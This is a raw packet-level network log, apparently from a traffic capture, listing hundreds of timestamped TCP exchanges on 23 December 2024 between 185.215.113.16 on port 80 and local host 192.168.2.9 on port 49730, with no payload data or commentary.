Dec 23, 2024 17:16:44.204067945 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.204118013 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.204122066 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.204160929 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.204799891 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.204838037 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.204976082 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.205012083 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.205605030 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.205643892 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.205722094 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.205759048 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.206482887 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.206523895 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.206545115 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.206582069 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.207190037 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.207231998 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.207262039 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.207294941 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.208055019 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.208091974 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.208165884 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.208208084 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.208918095 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.208951950 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.209006071 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.209041119 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.209826946 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.209867954 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.209938049 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.209969044 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.210519075 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.210552931 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.210611105 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.210642099 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.211327076 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.211359978 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.211482048 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.211517096 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.212153912 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.212193012 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.212248087 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.212333918 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.212953091 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.212991953 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.213063955 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.213103056 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.213805914 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.213845968 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.213912010 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.213948965 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.214591026 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.214629889 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.214773893 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.214811087 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.215517044 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.215563059 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.215609074 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.215646029 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.216226101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.216265917 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.216341972 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.216379881 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.217088938 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.217128038 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.217129946 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.217164993 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.217947006 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.217991114 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.218036890 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.218075037 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.218800068 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.218842983 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.218907118 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.218945980 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.219598055 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.219640017 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.219707966 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.219744921 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.220423937 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.220463991 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.220563889 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.220602989 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.221386909 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.221426010 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.221508980 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.221546888 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.222141981 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.222182035 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.222218037 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.222254992 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.222839117 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.222882032 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.223017931 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.223104000 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.224020004 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.224061966 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.224395990 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.224436045 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.224723101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.224765062 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.224855900 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.224896908 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.225366116 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.225408077 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.225476027 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.225516081 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.226227999 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.226274967 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.226490974 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.226531029 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.227341890 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.227381945 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.227421999 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.227458000 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.228188992 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.228231907 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.228312016 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.228353977 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.229039907 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.229078054 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.229155064 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.229197979 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.230056047 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.230103016 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.230164051 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.230204105 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.231092930 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.231143951 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.231220007 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.231259108 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.231667995 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.231710911 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.231756926 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.231798887 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.232331038 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.232369900 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.232429981 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.232469082 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.232945919 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.232990026 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.233052969 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.233093023 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.233675957 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.233719110 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.233747959 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.233791113 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.234328985 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.234369040 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.234451056 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.234493017 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.235146046 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.235191107 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.235217094 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.235256910 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.235939026 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.235984087 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.235990047 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.236032963 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.236762047 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.236800909 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.386303902 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.386356115 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.386492968 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.386533976 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.386579990 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.386616945 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.386670113 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.387653112 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.387706995 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.387751102 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.387789011 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.388319969 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.388364077 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.388381958 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.388416052 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.389100075 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.389146090 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.389275074 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.389312983 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.389966011 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.390005112 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.390041113 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.390074968 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.390580893 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.390620947 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.390774012 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.390806913 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.391341925 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.391429901 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.391438007 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.391474962 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.392213106 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.392255068 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.392308950 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.392344952 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.392997026 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.393034935 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.393105030 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.393151045 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.393881083 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.393923044 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.393965006 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.394015074 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.394613028 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.394655943 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.394705057 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.394742966 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.395401955 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.395451069 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.395522118 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.395564079 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.396260023 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.396302938 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.396419048 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.396456957 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.397103071 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.397152901 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.397315025 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.397376060 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.397949934 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.397991896 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.398116112 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.398242950 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.398710012 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.398756027 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.398832083 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.398865938 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.399828911 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.399878025 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.399879932 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.399909973 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.400386095 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.400427103 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.400521994 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.400556087 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.401186943 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.401232958 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.401294947 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.401329994 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.401999950 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.402043104 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.402070045 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.402101040 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.402849913 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.402894974 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.402987003 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.403022051 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.403736115 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.403789043 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.403836012 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.403877020 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.404510021 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.404558897 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.404628992 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.404670000 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.405352116 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.405401945 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.405437946 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.405491114 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.406347990 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.406388998 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.406461954 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.406497955 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.407042980 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.407077074 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.407154083 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.407191038 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.407800913 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.407845020 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.407918930 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.407952070 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.408556938 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.408593893 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.408768892 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.408803940 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.409400940 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.409436941 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.409543991 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.409578085 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.410247087 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.410290003 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.410360098 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.410393953 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.411056995 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.411093950 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.411218882 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.411253929 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.412038088 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.412054062 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.412072897 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.412090063 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.412796974 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.412832022 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.412873983 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.412913084 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.413700104 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.413713932 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.413741112 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.413753986 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.414458036 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.414473057 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.414498091 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.414511919 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.415174961 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.415218115 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.415605068 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.415651083 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.416160107 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.416208982 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.416233063 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.416266918 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.417026043 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.417073011 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.417241096 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.417279005 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.417785883 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.417814970 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.417824984 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.417850018 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.418476105 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.418520927 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.418570042 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.418601036 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.419261932 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.419300079 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.419364929 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.419397116 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.420088053 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.420126915 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.420185089 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.420217037 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.420950890 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.420991898 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.421065092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.421093941 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.421809912 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.421853065 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.421884060 CET	80	49730	185.215.113.16	192.168.2.9
